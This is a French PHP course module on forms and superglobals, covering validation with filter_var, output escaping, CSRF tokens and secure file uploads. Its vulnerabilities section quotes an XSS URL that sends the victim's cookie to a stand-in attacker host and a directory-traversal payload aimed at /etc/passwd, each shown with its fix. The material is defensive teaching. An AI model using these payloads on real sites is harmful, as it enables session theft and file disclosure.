MODULE 04
Formulaires & Superglobales
$_GET, $_POST, validation, sécurisation XSS/CSRF, upload de fichiers.
1 Superglobales
Les superglobales PHP sont accessibles partout, dans toutes les fonctions, sans déclarer global.
<?php
// $_GET — paramètres de l'URL (?nom=Alice&age=30)
$nom = $_GET['nom'] ?? ''; // ?? évite les warnings si clé absente
// $_POST — données envoyées via formulaire method="POST"
$email = $_POST['email'] ?? '';
// $_SERVER — informations du serveur et de la requête
echo $_SERVER['REQUEST_METHOD']; // GET ou POST
echo $_SERVER['REQUEST_URI']; // /contact.php?page=1
echo $_SERVER['REMOTE_ADDR']; // IP du client
echo $_SERVER['HTTP_USER_AGENT']; // navigateur du client
// $_ENV — variables d'environnement du système
$dbPass = $_ENV['DB_PASSWORD'] ?? 'dev_password';
// $_REQUEST — fusion de $_GET + $_POST + $_COOKIE (éviter en prod)
// Préférer accéder explicitement à $_GET ou $_POST
2 Validation avec filter_var()
<?php
// Valider un email
$email = $_POST['email'] ?? '';
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die("Email invalide");
}
// Valider un entier (et le récupérer directement)
$age = filter_var($_POST['age'] ?? '', FILTER_VALIDATE_INT);
if ($age === false || $age < 0 || $age > 150) {
die("Âge invalide");
}
// Valider une URL
$url = $_POST['url'] ?? '';
if (!filter_var($url, FILTER_VALIDATE_URL)) {
die("URL invalide");
}
// Sanitiser — enlever les caractères dangereux
$nom = filter_var($_POST['nom'] ?? '', FILTER_SANITIZE_SPECIAL_CHARS);
// Vérifications manuelles complémentaires
$tel = preg_replace('/[^0-9+]/', '', $_POST['tel'] ?? '');
if (!preg_match('/^(\+33|0)[1-9][0-9]{8}$/', $tel)) {
die("Numéro de téléphone invalide");
}
// isset() vs empty()
// isset($var) → true si la variable existe et n'est pas null
// empty($var) → true si : null, "", 0, "0", [], false
3 Sécurisation des sorties
⚠️ RÈGLE D'OR : toujours échapper les données avant de les insérer dans le HTML.
<?php
$userInput = '<script>alert("XSS")</script>';
// htmlspecialchars() — TOUJOURS utiliser pour l'affichage
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// → <script>alert("XSS")</script> (affiché comme texte)
// htmlspecialchars_decode() — inverse (à utiliser avec précaution)
// strip_tags() — supprime les balises (moins sûr que htmlspecialchars)
$sansTags = strip_tags($userInput); // alert("XSS")
// Nettoyer les espaces
$input = trim($_POST['nom'] ?? '');
// Pour les entiers
$page = intval($_GET['page'] ?? 1); // toujours un int, jamais une injection
// Validation de type avant utilisation
function sanitizeString(string $val, int $maxLen = 255): string {
return substr(trim(htmlspecialchars($val, ENT_QUOTES, 'UTF-8')), 0, $maxLen);
}
4 Protection CSRF
<?php
// ── Génération du token ────────────────────────────────
session_start();
if (empty($_SESSION['csrf_token'])) {
// random_bytes() génère des octets cryptographiquement aléatoires
// bin2hex() les encode en hexadécimal (64 caractères)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrfToken = $_SESSION['csrf_token'];
// ── Dans le formulaire HTML ────────────────────────────
// <form method="POST" action="traitement.php">
// <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
// ... autres champs ...
// </form>
// ── Vérification à la réception ───────────────────────
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$tokenRecu = $_POST['csrf_token'] ?? '';
// hash_equals() compare de façon constant-time (évite les timing attacks)
if (!hash_equals($_SESSION['csrf_token'], $tokenRecu)) {
http_response_code(403);
die("Token CSRF invalide — requête rejetée");
}
// Régénérer le token après chaque utilisation
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Traiter le formulaire...
}
5 Upload de fichiers
<?php
// Formulaire HTML requis : enctype="multipart/form-data"
// <input type="file" name="photo" accept="image/*">
if (!empty($_FILES['photo']['name'])) {
$fichier = $_FILES['photo'];
// Constantes d'erreur PHP
if ($fichier['error'] !== UPLOAD_ERR_OK) {
die("Erreur upload : " . $fichier['error']);
}
// Taille maximale (ex: 2 Mo)
if ($fichier['size'] > 2 * 1024 * 1024) {
die("Fichier trop volumineux (max 2Mo)");
}
// VÉRIFICATION DU VRAI TYPE MIME (pas le type déclaré par le client)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeReel = finfo_file($finfo, $fichier['tmp_name']);
finfo_close($finfo);
$mimeAutorises = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($mimeReel, $mimeAutorises)) {
die("Type de fichier non autorisé : $mimeReel");
}
// Extension sécurisée
$ext = pathinfo($fichier['name'], PATHINFO_EXTENSION);
$nomSecurise = bin2hex(random_bytes(8)) . '.' . strtolower($ext);
$destination = __DIR__ . '/uploads/' . $nomSecurise;
// move_uploaded_file() vérifie que le fichier vient d'un upload PHP
if (move_uploaded_file($fichier['tmp_name'], $destination)) {
echo "Fichier uploadé : " . htmlspecialchars($nomSecurise);
}
}
⚠️ Ne jamais utiliser le nom original du fichier ($_FILES['f']['name']) comme nom de destination — il peut contenir des caractères dangereux ou des séquences de traversal de répertoire (../../../etc/passwd).
6 ⚠️ Vulnérabilités courantes
<?php
// ❌ XSS — injection dans le HTML
// $nom = $_GET['nom']; echo "<p>Bonjour $nom</p>";
// URL malveillante : ?nom=<script>document.location='http://attaquant.com?c='+document.cookie</script>
// ✅ Prévention XSS : toujours htmlspecialchars() avant echo
// echo "<p>Bonjour " . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</p>";
// ❌ Injection dans les redirections
// header("Location: " . $_GET['url']); // dangereux si pas filtré
// ✅ Validation stricte de l'URL de redirection
// $urlsAutorisees = ['/', '/profil', '/accueil'];
// $redirect = in_array($_GET['url'], $urlsAutorisees) ? $_GET['url'] : '/';
// ❌ Inclusion de fichier non validée (LFI - Local File Inclusion)
// include($_GET['page'] . '.php'); // ?page=../../../etc/passwd
// ✅ Whitelist des pages autorisées
// $pages = ['accueil', 'contact', 'apropos'];
// if (!in_array($_GET['page'], $pages)) die('Page inconnue');
// include($_GET['page'] . '.php');